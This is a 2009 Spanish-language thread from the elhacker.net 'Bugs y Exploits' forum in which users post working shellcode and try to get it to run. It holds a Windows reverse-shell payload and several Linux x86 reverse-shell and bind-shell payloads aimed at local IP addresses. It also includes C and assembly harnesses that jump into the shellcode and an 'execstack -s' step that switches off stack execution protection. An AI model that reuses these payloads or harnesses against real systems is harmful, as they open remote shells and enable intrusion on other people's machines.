elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 17:12  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  shellcode2.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: shellcode2.  (Leído 1,710 veces)
visualfree

Desconectado Desconectado

Mensajes: 143


Ver Perfil
shellcode2.
« en: 17 Noviembre 2009, 23:07 »

Hola amigos me gustaria saber como puedo probar esta shellcode general con metasploit....

es reverseshellcode iplocal=192.168.1.1
                                port=9898
Shellcode:


Código:
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" .
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" .
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" .
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68" .
"\xc0\xa8\x01\x01\x68\x02\x00\x26\xaa\x89\xe6\x6a\x10\x56" .
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" .
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" .
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" .
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" .
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" .
"\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff" .
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" .
"\x6f\x6a\x00\x53\xff\xd5";

En línea
visualfree

Desconectado Desconectado

Mensajes: 143


Ver Perfil
Re: shellcode2.
« Respuesta #1 en: 18 Noviembre 2009, 09:19 »

Código:
#include <stdio.h>
#include <stdlib.h>
char shellcode[]="\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x68\xc0\xa8\x01\xc4\x66\x68\x26\xaa\x66\x53"
"\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87"
"\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd"
"\x80";



int main (int argc, char *argv[])
{
  int (*run)();   //puntero a una funcion
  run = shellcode; //asignamos la direccion de la shellcode al puntero
  run();  // y la ejecutamos
}
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: shellcode2.
« Respuesta #2 en: 19 Noviembre 2009, 03:40 »

Hola visualfree,

Como habiamos hablado es un problema el de no tener permisos de ejecucion en .data >:(. El codigo que pusiste me da segmentation fault por eso mismo, lo estuve debugeando y es justo en el call a los datos. Pense en varias ideas para simplemente probar las shellcodes:

1- Hacer .data ejecutable. (No encontre solucion, por ahi alguno sabe como hacerlo)

2- Pasar la variable shellcode al .text.

a) Probe la directiva __attribute__(((section(".text")))  con la variable shellcode:
Código:
volatile char shellcode[] __attribute__((section(".text"))) =
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80";
int main (int argc, char *argv[]) {
int (*run)(); //puntero a una funcion
run = shellcode; //asignamos la direccion de la shellcode al puntero
run(); // y la ejecutamos
}
Y me genera esto,
Código:
.globl shellcode
        .section        .text,"aw",@progbits
con reubicacion y permiso de escritura. Parece que serviria pero no :-\. No toma permisos de escritura por mas que esten especificados. Con le shellcode que esta ahi funciona porque no esta cifrada. Es una bind shell al 20000.

b)Reubicar el simbolo shellcode con un script de linkeado. Mandaba el simbolo en la sección .text a mano, pero estaba haciendo cualquier cosa, ya que los valores permanecen en .data.

3- Crear una sección reubicable (probado en ensamblador) con permisos de escritura y ejecucion para almacenar la shellcode a probar.
Código:
.global main
.text

main:
xor %ebx, %ebx
lea (shellcode), %ebx
call %ebx
.section .dummy, "axw"
.align 4
shellcode:
.string "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80"
Lo probe y funciona con shellcode no encriptadas igual que el caso 2-a), o la sección es de datos o de code. Si es de code es read-only por lo que "wx" son incompatibles y si es de datos puede ser read-only o writable.

Por todo esto me surgió una duda existencial, los exploits no murieron me imagino. Pero como hacen si tienen proteccion de ejecucion de datos mas proteccion de pila????
Alguien que nos ayude!!!!
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
visualfree

Desconectado Desconectado

Mensajes: 143


Ver Perfil
Re: shellcode2.
« Respuesta #3 en: 19 Noviembre 2009, 08:02 »

Mira me dijieron esto:

 tenes que hacer return to libc en modulos no protegidos

Nose si servira. :S..
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: shellcode2.
« Respuesta #4 en: 19 Noviembre 2009, 22:01 »

Mira me dijieron esto:

 tenes que hacer return to libc en modulos no protegidos

Nose si servira. :S..

Return to libc hasta donde yo se es para spawnear shells, o sea llamar a cualquier funcion de la libc. Yo te decia para probar las shellcodes que creo que era lo que intentabas hacer.
Bueno, metiendo el codigo en la pila y usando execstack vas a poder. Bue, al menos a mi me funciona, porq si la mando en .data me tira un error en el call. O sea,
Código:
#include <stdio.h>

int main (int argc, char *argv[]) {
char shellcode[] =
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x00\x02\x66\x68"
"\x00\xbf\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xb0\x0b\xcd\x80\x6a\x01\x58\x31\xdb\xcd\x80";
  int (*run)();   //puntero a una funcion
  run = shellcode; //asignamos la direccion de la shellcode al puntero
  run();  // y la ejecutamos
}

Despues seteas el flag de exec de la pila en el elf

Código:
$execstack -s a.out

La shell que esta ahi la encontre aca
 y le agregue un sys_exit para q no te tire error.

Código:
push byte 1
pop eax
xor ebx, ebx
int 0x80 ;sys_exit

Igual hay problemas con las syscalls >:(, alguna devuelve error porq no me funciona, pero al menos no tengo segmentation fault carajo!. Fijate si a vos te anda, lo estoy debugeando.
Probé una cifrada y tambien funciona. Ya me estaba volviendo loco :xD.

Lo solucionaste al final al segmentation fault?
« Última modificación: 19 Noviembre 2009, 22:05 por Ivanchuk » En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines